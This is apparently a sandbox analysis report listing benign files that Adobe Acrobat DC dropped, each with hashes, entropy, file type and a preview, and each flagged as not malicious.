SHA-256:	7B9B2DFA19998C37DCD82552B4A8E04901214AC67C4757E4DAF708EFB6E5FC40
SHA-512:	A80022DF549A091180A08D4EBFC23BDF4DADDACB0800EDC1E0E35B50E374BF7CA75DD53A13C7E3F001E5ACA1268ED36BA099DFEDBE9003172784430E539D8B7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2135251787084917
Encrypted:	false
SSDEEP:	24:7+tYmnuwKZqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MI:7MZnCZq/mFTIF3XmHjBoGGR+jMz+Lh5
MD5:	15512467CBB3303E720C72980B816443
SHA1:	F9E2DF942FDDE663F5CBAD0E69B8285785D75FBA
SHA-256:	376ED92670B7F1B851B0B85026FF1CACD8E5D20FA7EFA19D2002C31F7B2E13DE
SHA-512:	24B6ED82D91435E5FA4402F9C480CEFCF7E7AFD264D4433F456B7F2F3F18339420EDF8B05690AD0928AF2C5ED21BDFEA7E55D9643EF95AEDBF29C617C7B7C420
Malicious:	false
Preview:	.... .c.....%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7460290111891994
Encrypted:	false
SSDEEP:	3:kkFkl2YbbNttfllXlE/HT8k+x7l/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKvYbDeT8hJTNMa8RdWBwRd
MD5:	4D46B91817CB0CBB55C4D14E587036A3
SHA1:	01C53E79FA6D2C675F1C8B4D43B45BF891F16835
SHA-256:	399FFEBDC3E3D846A98AC1C89EF9527C034FE079BCB2B4DD88654AE669D18634
SHA-512:	356F2FF6C3652055086EFA96459AB37502494EF749B26B6C54D032F0C01CA13B9BB96E6D4356AFF962C68D5C3A0B65644ABB6F536CDAAA5020A796AE273ACD97
Malicious:	false
Preview:	p...... ............d..(....................................................... ..........W.....K..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6328

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6328

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.378260793776038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJM3g98kUwPeUkwRe9:YvXKXwBpWOEZc0vtnGMbLUkee9
MD5:	AE71B325D4E2003685DDB1527AE40CFD
SHA1:	BC45BBB3E06E38A0C4C6CE0F9E1C4854E6B08AE4
SHA-256:	BFC9DFCF5B51AE7DECCA13A83A7D09A4FDA968A4A3DD7E8822869F6BAA2D3B39
SHA-512:	FEBED133FF4E34CDFDBB8B1C8B15E4F280D1E055E1E8D325F69A6F7EC343B99B8B28DCB9D4BF083D8C9DD28D49921C3BE10E518E71FB9E0B9A7C7F880782395A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3284297392754505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfBoTfXpnrPeUkwRe9:YvXKXwBpWOEZc0vtnGWTfXcUkee9
MD5:	DE264FB538E7E4C02A0786435718E846
SHA1:	6F3F1FF9A1C719ED2BBB2B1FF95D885C17A7DA01
SHA-256:	CE93A3766C1A0EBED890B1BB48A86BB1F42E66F27DAF91C338B0BC11D6FC34D3
SHA-512:	02B309BEB1EF3F6E0912B93DC1D5B94D683D81F990618D8DD1E3903B07F5691E2E15548836139C4A63993AC94D52AD8489927C15819404AC7C6D31671839B8EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306829058143881
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfBD2G6UpnrPeUkwRe9:YvXKXwBpWOEZc0vtnGR22cUkee9
MD5:	2430E97035F9E43ADF4DA02A55AEC7A2
SHA1:	A23346B5E6AC15BABA43BFDF52273DF8C183660B
SHA-256:	87C37094E45FC2937E466F32814C528A0922037A9CC55EF959899AC2520F8510
SHA-512:	BE43694DB063BE7EE3A9B6DA897382DD7AE6B1C0C9662B44652E5CE7FBB55A22599E76C1F2BD839690DDC4A49DEF30ABBF23C1FADEF5069A92AD29342F11E260
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3657940160223845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfPmwrPeUkwRe9:YvXKXwBpWOEZc0vtnGH56Ukee9
MD5:	32F43615731BA4EE9EF37E45E62FBA8A
SHA1:	B8BBCE6A6491F43481EAA7A5C19F19971D361EA1
SHA-256:	BB65FABCEE71DB1B75DF57378D2A355574A86CC59B24450E23DEF6FC4A2F84AF
SHA-512:	E8A4F077ADAD5B309D10356AD7B6CBCEF8E5358226C480DB7D8B32B5523767D019825E4CB1310832DA9414E7448067A183E52617C16C8351358153D7761C3603
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686510986676738
Encrypted:	false
SSDEEP:	24:Yv6XwnWlzvtspLgE9cQx8LennAvzBvkn0RCmK8czOCCSWn:YvhWJahgy6SAFv5Ah8cv/W
MD5:	31FE20D62F26FBC7016316AE9121B7A8
SHA1:	A20150A088790943B5C60A0086CDF6FA38A91461
SHA-256:	0F6C860A64E693920ABA942ADDA392B76CA334D9D03306FA3D59C236C547E463
SHA-512:	0927BC0099DBF6D5A6917E6AA26B98D642C0F715F4FD09375B25490F5407DDB6683772269B097511FE2392F7836A1A9A7C0EAF0B2947C4D3337E44E3454D8589
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310345713163508
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJf8dPeUkwRe9:YvXKXwBpWOEZc0vtnGU8Ukee9
MD5:	001BC1FC127F2BE435B00557D5179127
SHA1:	A6301BB8DD36FABB00EF3A332199AE48308155C4
SHA-256:	F121A530606947EFFCA9E67E4DEEAD95F59E94302DA73CFBA7DCFA8DD9E24BDE
SHA-512:	149E7895A003CFBB5A1DA8FFA810C7334DC2CCE540B0678AA7F88C83631645632936C63680490AD19BFF6FF8D2812664D0D7DC4FA42BB7F64C57FF9C48D1EB72
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3155654390632066
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfQ1rPeUkwRe9:YvXKXwBpWOEZc0vtnGY16Ukee9
MD5:	7421E255E94FBFEB3EAEB02F2854FD2F
SHA1:	08084F4EFC89CFF102A6C7DEF60149AB361F185B
SHA-256:	AE1B80E9BD5922CA27CB771445A8B12DAC80D536B0E3A858B2BD146BC4FA2C94
SHA-512:	6C11D5F34A06D4F709A86F98BFC4F146715CDCE1D9022FF4F1BF9976E82776079AD2A6EC54515B82E96BD964C40441D8E3B84504D7FC0F04BA742AD8DD0949A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317597268030778
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfFldPeUkwRe9:YvXKXwBpWOEZc0vtnGz8Ukee9
MD5:	8C487672F7A5C28C96781B96F26C3833
SHA1:	B31C6D779AFEC16B37E9B34AD2E965B9CACC9607
SHA-256:	DDE0D43B5C4343CDCE03F3C4A8D4F5A313FC54BA140094D2ED0F1E8012886619
SHA-512:	77D09BFC2E60B12D964122E68309F104160BCDF79A426C7CE57B7FAFD645A0D5E5A577B318FE6844BA8254BD3D3A2C4E209D6F4F5BD20F05757F56B54EEC6E11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33498428957087
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfzdPeUkwRe9:YvXKXwBpWOEZc0vtnGb8Ukee9
MD5:	E2769F44CFD8541AD1CD38CB3485FF71
SHA1:	34A482DC15B12BACB5B4AADE40AAA0989A614284
SHA-256:	0E188F141CBCA4FB5E81EFC13C4FC08CF4ACF58DC3905735DDB48D983B24337E
SHA-512:	467FD6EF094A545DD30C8A4E71474A133BBADF7E593B1EF704627918D5343DEB2940C965FE718FE69C648F532DCBF599F963FCC7DBD50263D502B6CA3E810302
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316742379292013
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJfYdPeUkwRe9:YvXKXwBpWOEZc0vtnGg8Ukee9
MD5:	7104D1666683CAA9DD1083C55077565D
SHA1:	63251F8584AAA914C903556D7B8233A3F7334879
SHA-256:	8F07DF9826FFB12D828F11ACBF0F97854E8122D9E25261CADD0D5DA1A6338A6C
SHA-512:	ED8C09C6FF55C7AFF9B8B515EED6F1E5E6D5364AF0389A5A25B566574D8839F2D2A1A9C50452428A776EC4055062BD8838292FE4D90FEF8F866C3F6E87A241BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"aaabdac5-84b1-48d3-b26f-98bbdf5a71fd","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758923289,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.302769810780648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvGdNRd9TzWO9VoZcg1vRcR0YKRUoAvJf+dPeUkwRe9:YvXKXwBpWOEZc0vtnG28Ukee9
MD5:	545E603572593182E3544CADACB27512
